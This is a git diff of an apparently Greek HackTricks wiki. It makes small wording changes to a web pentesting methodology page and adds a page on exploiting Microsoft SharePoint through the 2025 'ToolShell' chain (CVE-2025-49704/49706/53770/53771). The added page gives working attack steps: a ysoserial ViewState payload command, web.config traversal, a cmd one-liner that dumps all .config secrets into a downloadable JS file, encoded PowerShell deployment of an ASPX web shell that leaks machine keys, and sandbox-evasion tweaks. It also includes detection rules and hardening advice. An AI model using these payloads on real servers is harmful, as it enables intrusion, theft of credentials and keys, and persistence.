- **JS αρχεία**: Στην ενότητα spidering αναφέρθηκαν διάφορα εργαλεία που μπορούν να εξάγουν δρόμους από αρχεία JS. Επίσης, θα ήταν ενδιαφέρον να **παρακολουθείτε κάθε JS αρχείο που βρέθηκε**, καθώς σε ορισμένες περιπτώσεις, μια αλλαγή μπορεί να υποδηλώνει ότι μια πιθανή ευπάθεια εισήχθη στον κώδικα. Μπορείτε να χρησιμοποιήσετε για παράδειγμα [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- **JS αρχεία**: Στην ενότητα spidering αναφέρθηκαν διάφορα εργαλεία που μπορούν να εξάγουν paths από αρχεία JS. Επίσης, θα ήταν ενδιαφέρον να **παρακολουθείτε κάθε JS αρχείο που βρέθηκε**, καθώς σε ορισμένες περιπτώσεις, μια αλλαγή μπορεί να υποδηλώνει ότι μια πιθανή ευπάθεια εισήχθη στον κώδικα. Μπορείτε να χρησιμοποιήσετε για παράδειγμα [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- Θα πρέπει επίσης να ελέγξετε τα ανακαλυφθέντα JS αρχεία με [**RetireJS**](https://github.com/retirejs/retire.js/) ή [**JSHole**](https://github.com/callforpapers-source/jshole) για να δείτε αν είναι ευάλωτα.
|
||||
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
|
||||
@ -308,11 +309,11 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
|
||||
|
||||
**502 Proxy Error**
|
||||
|
||||
Αν οποιαδήποτε σελίδα **απαντά** με αυτόν τον **κωδικό**, είναι πιθανό να είναι μια **κακώς ρυθμισμένη proxy**. **Αν στείλετε ένα HTTP αίτημα όπως: `GET https://google.com HTTP/1.1`** (με την κεφαλίδα host και άλλες κοινές κεφαλίδες), η **proxy** θα προσπαθήσει να **προσεγγίσει** _**google.com**_ **και θα έχετε βρει μια** SSRF.
|
||||
Αν οποιαδήποτε σελίδα **απαντά** με αυτόν τον **κωδικό**, είναι πιθανό να είναι μια **κακώς ρυθμισμένη proxy**. **Αν στείλετε ένα HTTP αίτημα όπως: `GET https://google.com HTTP/1.1`** (με την κεφαλίδα host και άλλες κοινές κεφαλίδες), η **proxy** θα προσπαθήσει να **πρόσβαση** _**google.com**_ **και θα έχετε βρει μια** SSRF.
|
||||
|
||||
**NTLM Authentication - Info disclosure**
|
||||
|
||||
Αν ο τρέχων server που ζητάει αυθεντικοποίηση είναι **Windows** ή αν βρείτε μια είσοδο που ζητάει τα **credentials** σας (και ζητάει το **domain** **name**), μπορείτε να προκαλέσετε μια **διαρροή πληροφοριών**.\
|
||||
Αν ο τρέχων server ζητάει αυθεντικοποίηση είναι **Windows** ή αν βρείτε μια είσοδο που ζητάει τα **credentials** σας (και ζητάει το **domain** **name**), μπορείτε να προκαλέσετε μια **διαρροή πληροφοριών**.\
|
||||
**Στείλτε** την **κεφαλίδα**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` και λόγω του πώς λειτουργεί η **NTLM αυθεντικοποίηση**, ο server θα απαντήσει με εσωτερικές πληροφορίες (έκδοση IIS, έκδοση Windows...) μέσα στην κεφαλίδα "WWW-Authenticate".\
|
||||
Μπορείτε να **αυτοματοποιήσετε** αυτό χρησιμοποιώντας το **nmap plugin** "_http-ntlm-info.nse_".
|
||||
|
||||
@ -322,7 +323,7 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
|
||||
|
||||
### Έλεγχος ευπαθειών Web
|
||||
|
||||
Τώρα που έχει πραγματοποιηθεί μια εκτενής αρίθμηση της web εφαρμογής, είναι καιρός να ελέγξετε για πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε τη λίστα ελέγχου εδώ:
|
||||
Τώρα που έχει γίνει μια εκτενής αρίθμηση της web εφαρμογής είναι καιρός να ελέγξετε για πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε τη λίστα ελέγχου εδώ:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/web-vulnerabilities-methodology.md
|
||||
|
@ -0,0 +1,126 @@
|
||||
# Microsoft SharePoint – Pentesting & Exploitation
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> Microsoft SharePoint (on-premises) είναι χτισμένο πάνω σε ASP.NET/IIS. Οι περισσότερες από τις κλασικές επιφάνειες επίθεσης του ιστού (ViewState, Web.Config, web shells, κ.λπ.) είναι επομένως παρούσες, αλλά το SharePoint περιλαμβάνει επίσης εκατοντάδες ιδιόκτητες σελίδες ASPX και διαδικτυακές υπηρεσίες που διευρύνουν δραματικά την εκτεθειμένη επιφάνεια επίθεσης. Αυτή η σελίδα συγκεντρώνει πρακτικά κόλπα για την καταμέτρηση, εκμετάλλευση και διατήρηση μέσα σε περιβάλλοντα SharePoint με έμφαση στην αλυσίδα εκμετάλλευσης του 2025 που αποκαλύφθηκε από την Unit42 (CVE-2025-49704/49706/53770/53771).
|
||||
|
||||
## 1. Quick enumeration
|
||||
```
|
||||
# favicon hash and keywords
|
||||
curl -s https://<host>/_layouts/15/images/SharePointHome.png
|
||||
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
|
||||
|
||||
# version leakage (often in JS)
|
||||
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
|
||||
|
||||
# interesting standard paths
|
||||
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
|
||||
/_vti_bin/Lists.asmx # legacy SOAP service
|
||||
/_catalogs/masterpage/Forms/AllItems.aspx
|
||||
|
||||
# enumerate sites & site-collections (requires at least Anonymous)
|
||||
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
|
||||
```
|
||||
## 2. 2025 exploit chain (a.k.a. “ToolShell”)
|
||||
|
||||
### 2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx
|
||||
|
||||
`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>` επιτρέπει την εισαγωγή αυθαίρετου *Server-Side Include* κώδικα στη σελίδα, ο οποίος στη συνέχεια μεταγλωττίζεται από το ASP.NET. Ένας επιτιθέμενος μπορεί να ενσωματώσει C# που εκτελεί `Process.Start()` και να ρίξει ένα κακόβουλο ViewState.
|
||||
|
||||
### 2.2 CVE-2025-49706 – Improper Authentication Bypass
|
||||
|
||||
Η ίδια σελίδα εμπιστεύεται την κεφαλίδα **X-Forms_BaseUrl** για να προσδιορίσει το πλαίσιο του ιστότοπου. Δείχνοντάς την σε `/_layouts/15/`, η MFA/SSO που επιβάλλεται στον ριζικό ιστότοπο μπορεί να παρακαμφθεί **χωρίς αυθεντικοποίηση**.
|
||||
|
||||
### 2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE
|
||||
|
||||
Μόλις ο επιτιθέμενος ελέγξει μια συσκευή στο `ToolPane.aspx`, μπορεί να δημοσιεύσει μια **μη υπογεγραμμένη** (ή μόνο MAC) τιμή `__VIEWSTATE` που ενεργοποιεί την αποσυμπίεση .NET μέσα στο *w3wp.exe*, οδηγώντας σε εκτέλεση κώδικα.
|
||||
|
||||
Εάν η υπογραφή είναι ενεργοποιημένη, κλέψτε το **ValidationKey/DecryptionKey** από οποιοδήποτε `web.config` (βλ. 2.4) και πλαστογραφήστε το payload με *ysoserial.net* ή *ysodom*:
|
||||
```
|
||||
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
|
||||
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
|
||||
```
|
||||
Για μια λεπτομερή εξήγηση σχετικά με την κακή χρήση του ASP.NET ViewState διαβάστε:
|
||||
{{#ref}}
|
||||
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
|
||||
{{#endref}}
|
||||
|
||||
### 2.4 CVE-2025-53771 – Διαδρομή Traversal / Αποκάλυψη web.config
|
||||
|
||||
Η αποστολή ενός κατασκευασμένου παραμέτρου `Source` στο `ToolPane.aspx` (π.χ. `../../../../web.config`) επιστρέφει το στοχευμένο αρχείο, επιτρέποντας τη διαρροή:
|
||||
|
||||
* `<machineKey validationKey="…" decryptionKey="…">` ➜ κατασκευή ViewState / ASPXAUTH cookies
|
||||
* συμβολοσειρές σύνδεσης & μυστικά.
|
||||
|
||||
## 3. Συνταγές μετά την εκμετάλλευση που παρατηρήθηκαν στην άγρια φύση
|
||||
|
||||
### 3.1 Εξαγωγή κάθε αρχείου *.config* (παραλλαγή-1)
|
||||
```
|
||||
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
|
||||
```
|
||||
Το αποτέλεσμα του `debug_dev.js` μπορεί να κατέβει ανώνυμα και περιέχει **όλες** τις ευαίσθητες ρυθμίσεις.
|
||||
|
||||
### 3.2 Αναπτύξτε ένα ASPX web shell κωδικοποιημένο σε Base64 (παραλλαγή-2)
|
||||
```
|
||||
powershell.exe -EncodedCommand <base64>
|
||||
```
|
||||
Παράδειγμα αποκωδικοποιημένου payload (συμπτυγμένο):
|
||||
```csharp
|
||||
<%@ Page Language="C#" %>
|
||||
<%@ Import Namespace="System.Security.Cryptography" %>
|
||||
<script runat="server">
|
||||
protected void Page_Load(object sender, EventArgs e){
|
||||
Response.Write(MachineKey.ValidationKey);
|
||||
// echo secrets or invoke cmd
|
||||
}
|
||||
</script>
|
||||
```
|
||||
Γραμμένο προς:
|
||||
```
|
||||
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
|
||||
```
|
||||
Η shell εκθέτει endpoints για **ανάγνωση / περιστροφή μηχανικών κλειδιών** που επιτρέπει την κατασκευή των cookies ViewState και ASPXAUTH σε όλη τη φάρμα.
|
||||
|
||||
### 3.3 Ασαφής παραλλαγή (παραλλαγή-3)
|
||||
|
||||
Η ίδια shell αλλά:
|
||||
* τοποθετημένη κάτω από `...\15\TEMPLATE\LAYOUTS\`
|
||||
* τα ονόματα μεταβλητών μειωμένα σε μονά γράμματα
|
||||
* προστέθηκε `Thread.Sleep(<ms>)` για αποφυγή sandbox & παράκαμψη AV με βάση το χρόνο.
|
||||
|
||||
## 4. Ιδέες ανίχνευσης
|
||||
|
||||
| Τηλεμετρία | Γιατί είναι ύποπτη |
|
||||
|-----------|----------------------|
|
||||
| `w3wp.exe → cmd.exe` | Η διαδικασία εργασίας θα πρέπει σπάνια να δημιουργεί shell |
|
||||
| `cmd.exe → powershell.exe -EncodedCommand` | Κλασικό μοτίβο lolbin |
|
||||
| Γεγονότα αρχείων που δημιουργούν `debug_dev.js` ή `spinstall0.aspx` | IOCs απευθείας από ToolShell |
|
||||
| `ProcessCmdLine CONTAINS ToolPane.aspx` (ETW/Module logs) | Δημόσιες PoCs καλούν αυτή τη σελίδα |
|
||||
|
||||
Παράδειγμα κανόνα XDR / Sysmon (ψευδο-XQL):
|
||||
```
|
||||
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
|
||||
```
|
||||
## 5. Σκληροποίηση & Μετριασμός
|
||||
|
||||
1. **Patch** – Οι ενημερώσεις ασφαλείας του Ιουλίου 2025 διορθώνουν *όλες* τις τέσσερις CVEs.
|
||||
2. **Rotate** κάθε `<machineKey>` και `ViewState` μυστικά μετά από παραβίαση.
|
||||
3. Αφαιρέστε την άδεια εγγραφής *LAYOUTS* από τις ομάδες `WSS_WPG` & `WSS_ADMIN_WPG`.
|
||||
4. Εμποδίστε την εξωτερική πρόσβαση στο `/_layouts/15/ToolPane.aspx` σε επίπεδο proxy/WAF.
|
||||
5. Ενεργοποιήστε **ViewStateUserKey**, **MAC enabled**, και προσαρμοσμένο *EventValidation*.
|
||||
|
||||
## Σχετικά κόλπα
|
||||
|
||||
* IIS post-exploitation & web.config abuse:
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
|
||||
{{#endref}}
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [Unit42 – Active Exploitation of Microsoft SharePoint Vulnerabilities](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
|
||||
- [GitHub PoC – ToolShell exploit chain](https://github.com/real-or-not/ToolShell)
|
||||
- [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
|
||||
- [Microsoft Security Advisory – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user